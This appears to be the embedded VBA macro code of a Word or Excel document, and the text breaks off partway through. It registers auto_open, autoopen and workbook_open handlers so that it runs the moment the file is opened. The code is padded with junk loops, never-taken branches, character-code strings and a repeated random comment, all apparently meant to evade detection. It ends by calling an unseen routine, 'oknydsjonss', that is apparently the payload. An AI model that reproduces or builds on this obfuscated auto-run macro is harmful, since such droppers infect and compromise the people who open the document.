Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Sub auto_open() 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 926465 = 926465 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 7657 < 32 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kfbmsnvr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vegzkylx As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vegzkylx = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vegzkylx 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kfbmsnvr = 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While kfbmsnvr < 65 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim aqwnjbmb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For aqwnjbmb = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next aqwnjbmb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: kfbmsnvr = kfbmsnvr + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vrplyzxi As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vrplyzxi = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vrplyzxi 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vnrmizlc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vnrmizlc = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vnrmizlc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(107) & ChrW(112) & ChrW(118) & ChrW(115) & ChrW(104) & ChrW(106) & ChrW(102) & ChrW(119) & ChrW(56) & ChrW(52)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(122) & ChrW(112) & ChrW(109) & ChrW(113) & ChrW(122) & ChrW(117) & ChrW(107) & ChrW(113) & ChrW(49) & ChrW(56) & ChrW(50) & ChrW(49)) = Len(ChrW(101) & ChrW(100) & ChrW(118) & ChrW(98) & ChrW(113) & ChrW(121) & ChrW(106) & ChrW(106)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim oletgqso As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim dkaeeqhp As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For dkaeeqhp = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next dkaeeqhp 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq oletgqso = 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While oletgqso < 17 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xkrfyduu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xkrfyduu = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xkrfyduu 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: oletgqso = oletgqso + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ztxmgeta As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ztxmgeta = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ztxmgeta 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jwvsxhvz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jwvsxhvz = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jwvsxhvz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qpllkwvm As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xghkyijj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xghkyijj = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xghkyijj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq qpllkwvm = 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While qpllkwvm < 32 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qylodmqj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For qylodmqj = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next qylodmqj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: qpllkwvm = qpllkwvm + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tflybcyc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tflybcyc = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tflybcyc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rmmnwbif As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rmmnwbif = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rmmnwbif 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq oknydsjonss 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End Sub 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Sub autoopen() 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 275943 = 275943 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 2392 < 41 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yotchvyu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ofinizzb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ofinizzb = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ofinizzb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq yotchvyu = 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While yotchvyu < 11 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vtpkgfcb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vtpkgfcb = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vtpkgfcb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: yotchvyu = yotchvyu + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim louexlrq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For louexlrq = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next louexlrq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tfwvatki As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tfwvatki = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tfwvatki 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(108) & ChrW(110) & ChrW(115) & ChrW(121) & ChrW(118) & ChrW(103) & ChrW(106) & ChrW(113) & ChrW(54) & ChrW(49)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(110) & ChrW(104) & ChrW(104) & ChrW(116) & ChrW(117) & ChrW(111) & ChrW(100) & ChrW(122) & ChrW(53) & ChrW(53) & ChrW(54) & ChrW(53)) = Len(ChrW(119) & ChrW(112) & ChrW(103) & ChrW(112) & ChrW(97) & ChrW(102) & ChrW(110) & ChrW(104)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ivremmom As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim svzwqthm As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For svzwqthm = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next svzwqthm 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq ivremmom = 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While ivremmom < 96 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim dgjdanwn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For dgjdanwn = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next dgjdanwn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: ivremmom = ivremmom + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tsrslpdj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tsrslpdj = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tsrslpdj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tdavzicb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tdavzicb = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tdavzicb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xgtmaurw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yilynwda As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For yilynwda = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next yilynwda 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq xgtmaurw = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While xgtmaurw < 29 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim hvhwcorn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For hvhwcorn = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next hvhwcorn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: xgtmaurw = xgtmaurw + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ojvqzfto As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ojvqzfto = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ojvqzfto 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xstdhcde As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xstdhcde = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xstdhcde 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq auto_open 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End Sub 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Sub workbook_open() 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 932566 = 932566 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 3915 < 95 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ffpaewza As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kfsupocl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For kfsupocl = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next kfsupocl 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq ffpaewza = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While ffpaewza < 59 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jcjqqifr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jcjqqifr = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jcjqqifr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: ffpaewza = ffpaewza + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ohavezwj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ohavezwj = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ohavezwj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim inuzrzqz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For inuzrzqz = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next inuzrzqz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(106) & ChrW(104) & ChrW(120) & ChrW(108) & ChrW(113) & ChrW(114) & ChrW(110) & ChrW(101) & ChrW(49) & ChrW(57)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(117) & ChrW(110) & ChrW(99) & ChrW(97) & ChrW(115) & ChrW(102) & ChrW(104) & ChrW(115) & ChrW(52) & ChrW(56) & ChrW(53) & ChrW(54)) = Len(ChrW(112) & ChrW(114) & ChrW(110) & ChrW(102) & ChrW(109) & ChrW(115) & ChrW(102) & ChrW(108)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rlfsyyhu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ivozocwt As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ivozocwt = 0 To 1 